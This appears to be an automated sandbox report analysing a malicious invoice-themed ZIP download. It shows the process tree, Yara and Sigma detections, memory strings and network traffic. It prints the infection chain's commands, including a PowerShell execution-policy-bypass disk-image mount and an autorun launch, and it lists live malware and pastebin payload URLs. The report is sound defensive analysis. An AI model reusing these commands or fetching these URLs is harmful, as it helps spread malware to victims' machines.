Edit tour

Windows Analysis Report
https://www.bnaminexg.com/Invoice-yetdr.zip

Overview

General Information

Sample URL:	https://www.bnaminexg.com/Invoice-yetdr.zip
Analysis ID:	1467155
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected VBS Downloader Generic

Downloads suspicious files via Chrome

Loading BitLocker PowerShell Module

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious execution chain found

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: PowerShell Script Run in AppData

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1936,i,14102734953510180185,6557037327749919800,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

unarchiver.exe (PID: 424 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Invoice-yetdr.zip" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 4052 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\vqyu22il.thm" "C:\Users\user\Downloads\Invoice-yetdr.zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 2740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5612 cmdline: "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2620 cmdline: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

notepad.exe (PID: 2828 cmdline: "C:\Windows\system32\NOTEPAD.EXE" D:\autorun.inf MD5: E92D3A824A0578A50D2DD81B5060145F)

chrome.exe (PID: 4420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bnaminexg.com/Invoice-yetdr.zip" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
\Device\CdRom1\63534464.vbs	JoeSecurity_VBS_Downloader_Generic	Yara detected VBS Downloader Generic	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", CommandLine: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", ProcessId: 2620, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", CommandLine: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", ProcessId: 2620, ProcessName: powershell.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", CommandLine: "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Invoice-yetdr.zip", ParentImage: C:\Windows\SysWOW64\unarchiver.exe, ParentProcessId: 424, ParentProcessName: unarchiver.exe, ProcessCommandLine: "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", ProcessId: 5612, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", CommandLine: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img", ProcessId: 2620, ProcessName: powershell.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://www.bnaminexg.com/Invoice-yetdr.zip

Avira URL Cloud: detection malicious, Label: malware

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.97.153:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.97.153:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.6:59278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59280 version: TLS 1.2

Spreading

Yara detected VBS Downloader Generic

Source: Yara match

File source: \Device\CdRom1\63534464.vbs, type: DROPPED

Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.infH
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\SysWOW64\netutils.dllicrosoft\Windows\Burn\Burn\autorun.inf1
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\SysWOW64\edputil.dllMicrosoft\Windows\Burn\Burnautorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\AppData\Local\Microsoft\Windows\Burn\Burn\autorun.infP
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Burn\Burn\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.infK
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.infG
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\system32\NOTEPAD.EXE" D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.infH
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\autorun.inf;
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: file:///D:/autorun.infV
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: file:///D:/autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.infH
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: j#"Found in ISO / IMG: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /D:/autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /D:/autorun.infn .C1
Source: unarchiver.exe, 00000005.00000002.2979713894.0000000003110000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: j9807/03/2024 1:22 PM: Found in ISO / IMG: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.0000000003110000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 07/03/2024 1:22 PM: Found in ISO / IMG: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978233775.0000000000E15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\C:\Windows\SysWOW64\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" D:\autorun.infmonC:\Windows\system32\NOTEPAD.EXEWinSta0\Defaults\sALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCHROME_CRASHPAD_PIPE_NAME=\\.\pipe\cras\Registry\Machine\Software\WOW6432Node\Microsoft\LanguageOverlay\OverlayPackages\en-GBDEE}\InProcServer32-A202-0000F81FEDEE}\Instance}eSystemPropertiesmon FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=4OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCES\REGISTRY\USER\S-1\R\REGISTRY\USER\S-1-5-21-22461\REGISTRY\MACHINE\So\Registry\Machine\Software\WOW6432Node\Microsoft\LanguageOverlay\OverlayPackages\en-GBogramDataPr@
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\autorun.inf2591l~LMCe
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\autorun.inf;J
Source: unarchiver.exe, 00000005.00000002.2979713894.0000000003118000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.0000000003118000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.0000000003118000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: d:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.0000000003118000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Launch: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.0000000003118000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: j-,07/03/2024 1:22 PM: Launch: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.0000000003118000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 07/03/2024 1:22 PM: Launch: D:\autorun.inf
Source: unarchiver.exe, 00000005.00000002.2979713894.0000000003112000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: d:\autorun.inf
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.infH
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .autorun.inf
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.infA
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: file:///D:/autorun.infw
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\autorun.inf@
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /D:\autorun.inf
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\autorun.inf
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /D:/autorun.infu
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\autorun.infd
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\autorun.infn
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\autorun.inf
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\autorun.inf-
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf\|
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.infl
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [AutoRun]
Source: notepad.exe, 0000000E.00000002.2978134689.000000000313D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /D:/autorun.infB
Source: notepad.exe, 0000000E.00000002.2978488535.00000000032B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\C:\Windows\SysWOW64\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" D:\autorun.infC:\Windows\system32\NOTEPAD.EXEWinSta0\Default
Source: notepad.exe, 0000000E.00000002.2978093635.00000000030BB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: C:\autorun.inf
Source: notepad.exe, 0000000E.00000002.2978093635.00000000030BB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: autorun.infJ
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003110000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: D:\C:\Windows\SysWOW64\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" D:\autorun.infC:\Windows\system32\NOTEPAD.EXEWinSta0\DefaultALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCHROME_CRASHPAD_PIPE_NAME=\\.\pipe\crashpad_3184_HTSFCBWZREROVQLRCHROME_RESTART=Google Chrome\|Whoa! Google Chrome has crashed. Relaunch now?\|LEFT_TO_RIGHTCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=4OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSSLKEYLOGFILE=C:\Users\user\AppData\Local\Temp\browser-sslkeys.logSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=FENIVHOUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003110000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\system32\NOTEPAD.EXE" D:\autorun.inf
Source: notepad.exe, 0000000E.00000002.2978134689.0000000003110000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\NOTEPAD.EXED:\autorun.inf
Source: unarchiver.log.5.dr	Binary or memory string: 07/03/2024 1:22 PM: Found in ISO / IMG: D:\autorun.inf
Source: unarchiver.log.5.dr	Binary or memory string: 07/03/2024 1:22 PM: Launch: D:\autorun.inf

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic

TCP traffic: 192.168.2.6:59275 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103

Source: global traffic	HTTP traffic detected: GET /Invoice-yetdr.zip HTTP/1.1Host: www.bnaminexg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Ho+WaTooYaEzWTF&MD=PTOS4Cod HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Ho+WaTooYaEzWTF&MD=PTOS4Cod HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: www.bnaminexg.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: 7za.exe, 00000006.00000003.2238108956.00000000012E0000.00000004.00000800.00020000.00000000.sdmp, 63534464.vbs.10.dr, Invoice-yetdr.img.6.dr

String found in binary or memory: https://pastebin.com/raw/vHQdp1zj

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59277 -> 443
